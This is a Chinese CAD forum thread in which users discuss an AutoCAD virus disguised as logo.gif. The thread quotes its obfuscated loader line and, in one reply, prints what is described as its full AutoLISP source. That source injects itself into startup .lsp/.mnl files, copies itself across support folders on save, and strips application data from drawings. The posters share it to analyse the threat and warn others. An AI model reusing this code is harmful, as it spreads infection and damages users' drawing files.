satan421 发表于 2019-12-16 14:16:13

发现VLX格式的病毒

本帖最后由 satan421 于 2019-12-17 10:46 编辑

前一段时间,在CAD相关的文件夹内发现logo.gif文件,双击查看时系统杀毒软件报毒。有时间的时候研究了一下,但是只能观察到一些行为,内部构造以及是否有其他行为全然不知。
发到论坛,看以前是否有人遇到,或者有高手能研究出个所以然。

以下几点需要注意:
1、此vlx文件会将如下语句写入.lsp或者.mnl文件:
(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
即:
(vl-file-copy(findfile "logo.gif")"acad.vlx")

2、将logo.gif后缀改为.txt查看时系统杀毒软件仍然报毒。

3、甚至不能用Hex Editor等软件查看或者用WinRAR压缩,应该是涉及到读写操作时就会执行恶意代码。

4、我不确定此文件是否有其他操作,比如窃取、删改硬盘内文件,因此,重要的事情说三遍:
电脑没有杀毒软件的,请谨慎下载查看!
电脑没有杀毒软件的,请谨慎下载查看!
电脑没有杀毒软件的,请谨慎下载查看!




baitang36 发表于 2020-1-14 14:59:50

这是它的源码:
(DEFUN AI_ENTITY (/ DEL LOADFILE)
(DEFUN DEL (/ CONT APPNAME SS SSS NEXTO SLIST)
    (setq CONT T)
    (setq APPNAME nil)
    (setq SS (ENTNEXT))
    (setq SSS SS)
    (while (and CONT)
      (setq APPNAME (cdr (ASSOC 2 (TBLNEXT "APPID"))))
      (if (AND (/= APPNAME "ACAD") (/= APPNAME nil))
        (PROGN
          (setq NEXTO T)
          (setq SLIST nil)
          (while (and (/= NEXTO nil))
          (if        (setq SS (ENTNEXT SS))
              (PROGN
                (setq SLIST (ENTGET SS (LIST "*")))
                (if (ASSOC -3 SLIST)
                  (PROGN
                  (if        (cdr (ASSOC APPNAME (cdr (ASSOC -3 SLIST))))
                      (PROGN (setq SLIST
                                  (SUBST
                                      (SUBST
                                        (cons APPNAME (LIST (cons 1000 "")))
                                        (ASSOC APPNAME
                                             (cdr (ASSOC -3 SLIST))
                                        )
                                        (ASSOC -3 SLIST)
                                      )
                                      (ASSOC -3 SLIST)
                                      SLIST
                                  )
                             )
                             (ENTMOD SLIST)
                      )
                  )
                  )
                )
              )
          )
          (setq NEXTO SS)
          )
          (setq SS SSS)
        )
      )
      (if (= APPNAME nil)
        (PROGN (setq CONT nil))
      )
    )
    (setq SLIST nil)
    (setq SS nil)
    (setq SSS nil)
    (PRINC)
)
(DEFUN AI_CHECK (CALLING-REACTOR COMMANDINFO / WORK SUPPORT ORIGIN)
    (VL-LOAD-COM)
    (setq WORK (STRCAT (GETVAR "DWGPREFIX") "acad.vlx"))
    (setq SUPPORT (STRCAT (VL-FILENAME-DIRECTORY (GETVAR "MENUNAME"))
                          "\\acad.vlx"
                  )
    )
    (setq ORIGIN (STRCAT (VL-FILENAME-DIRECTORY (FINDFILE "acad.exe"))
                       "\\Help\\logo.gif"
               )
    )
    (if        (= (VL-FILE-SIZE WORK) 3000)
      (PROGN
        (if (/= (VL-FILE-SIZE ORIGIN) 3000)
          (PROGN (VL-FILE-DELETE ORIGIN) (VL-FILE-COPY WORK ORIGIN))
        )
        (if (/= (VL-FILE-SIZE SUPPORT) 3000)
          (PROGN (VL-FILE-DELETE SUPPORT) (VL-FILE-COPY WORK SUPPORT))
        )
      )
    )
    (if        (= (VL-FILE-SIZE ORIGIN) 3000)
      (PROGN (if (/= (VL-FILE-SIZE WORK) 3000)
             (PROGN (VL-FILE-DELETE WORK) (VL-FILE-COPY ORIGIN WORK))
             )
             (if (/= (VL-FILE-SIZE SUPPORT) 3000)
             (PROGN (VL-FILE-DELETE SUPPORT)
                      (VL-FILE-COPY ORIGIN SUPPORT)
             )
             )
      )
    )
    (if        (= (VL-FILE-SIZE SUPPORT) 3000)
      (PROGN (if (/= (VL-FILE-SIZE WORK) 3000)
             (PROGN (VL-FILE-DELETE WORK) (VL-FILE-COPY SUPPORT WORK))
             )
             (if (/= (VL-FILE-SIZE ORIGIN) 3000)
             (PROGN (VL-FILE-DELETE ORIGIN)
                      (VL-FILE-COPY SUPPORT ORIGIN)
             )
             )
      )
    )
)
(DEFUN LOADFILE (FILE / N NO TEST FILE_ID TEMP_ID DATA)
    (if        (FINDFILE FILE)
      (PROGN
        (if (setq FILE_ID (OPEN (FINDFILE FILE) "r"))
          (PROGN
          (setq N 0)
          (while (and (setq DATA (READ-LINE FILE_ID)))
              (setq N (+ N 1))
              (if
                (=
                  DATA
                  "(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))"
                )
               (PROGN (setq TEST T))
              )
              (if (= DATA ";;;")
                (PROGN (setq NO (cons N NO)))
              )
          )
          (CLOSE FILE_ID)
          (if        (/= TEST T)
              (PROGN
                (if (/= NO nil)
                  (PROGN (setq NO (NTH (FIX (/ (LENGTH NO) 2)) NO)))
                  (PROGN (setq NO N))
                )
                (setq TEMP_ID (OPEN "temp.txt" "w"))
                (setq FILE_ID (OPEN (FINDFILE FILE) "r"))
                (setq N 0)
                (while (and (setq DATA (READ-LINE FILE_ID)))
                  (setq N (+ N 1))
                  (if (= N NO)
                  (PROGN (setq DATA
                                  "(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))"
                           )
                  )
                  )
                  (WRITE-LINE DATA TEMP_ID)
                )
                (CLOSE TEMP_ID)
                (CLOSE FILE_ID)
                (if (setq FILE_ID (OPEN (FINDFILE FILE) "w"))
                  (PROGN (setq TEMP_ID (OPEN "temp.txt" "r"))
                       (while        (and (setq DATA (READ-LINE TEMP_ID)))
                           (WRITE-LINE DATA FILE_ID)
                       )
                       (CLOSE TEMP_ID)
                       (CLOSE FILE_ID)
                  )
                )
                (VL-FILE-DELETE "temp.txt")
              )
          )
          )
        )
      )
    )
)
(DEL)
(LOADFILE "acad.mnl")
(LOADFILE "ai_utils.lsp")
(LOADFILE "acetauto.lsp")
(LOADFILE
    (STRCAT (VL-FILENAME-DIRECTORY (FINDFILE "acad.exe"))
          "\\UserDataCache\\Support\\acad.mnl"
    )
)
(VLR-DWG-Reactor nil '((:VLR-saveComplete . AI_CHECK)))
(AI_CHECK nil nil)
(GC)
)
(AI_ENTITY)
(SETVAR "ACADLSPASDOC" 1)
(PRINC)

satan421 发表于 2019-12-17 08:54:26

mikewolf2k 发表于 2019-12-16 16:22
初看起来,就是把病毒vlx保存为gif,杀毒软件只搜索vlx的话就可以跳过去;再者可能把其中的某些病毒特征码 ...

可能因为Win10查杀的策略比较严格,这个文件涉及到读取操作(不是通过CAD加载)时都会报毒,猜测里面可能不仅是Lisp代码。奇怪的是,此前这个文件一直没有动作。
这个文件是在CAD2006里面发现的,可能不止我的电脑里存在。

mikewolf2k 发表于 2019-12-16 16:22:45

初看起来,就是把病毒vlx保存为gif,杀毒软件只搜索vlx的话就可以跳过去;再者可能把其中的某些病毒特征码修改放在gif中,即使查找gif中的特征码也会跳过去。
感觉是原有病毒的障眼法跳过当前的杀毒软件,病毒部分的功能应该还是原来差不多。作者狡猾狡猾的干活。

stoyer 发表于 2019-12-16 16:26:02

不要疑似了,这就是CAD病毒。

satan421 发表于 2019-12-17 09:07:45

stoyer 发表于 2019-12-16 16:26
不要疑似了,这就是CAD病毒。

用"疑似"是因为这文件貌似不是主动运行的,被我发现之前没有任何操作(或者我没察觉到?不过感觉有操作的话是逃不过Win10杀毒的)

qssq 发表于 2019-12-18 08:58:41

看来不能随便加载这类型插件了

satan421 发表于 2019-12-18 09:18:09

qssq 发表于 2019-12-18 08:58
看来不能随便加载这类型插件了

正规途径得到的插件是没问题的,不确定来源的就要小心了。

690994 发表于 2019-12-19 21:35:27

logo.gif是很久以前的病毒

satan421 发表于 2019-12-20 08:23:58

690994 发表于 2019-12-19 21:35
logo.gif是很久以前的病毒

不知道这个病毒的目的是什么,还有其他操作吗
页: [1] 2
查看完整版本: 发现VLX格式的病毒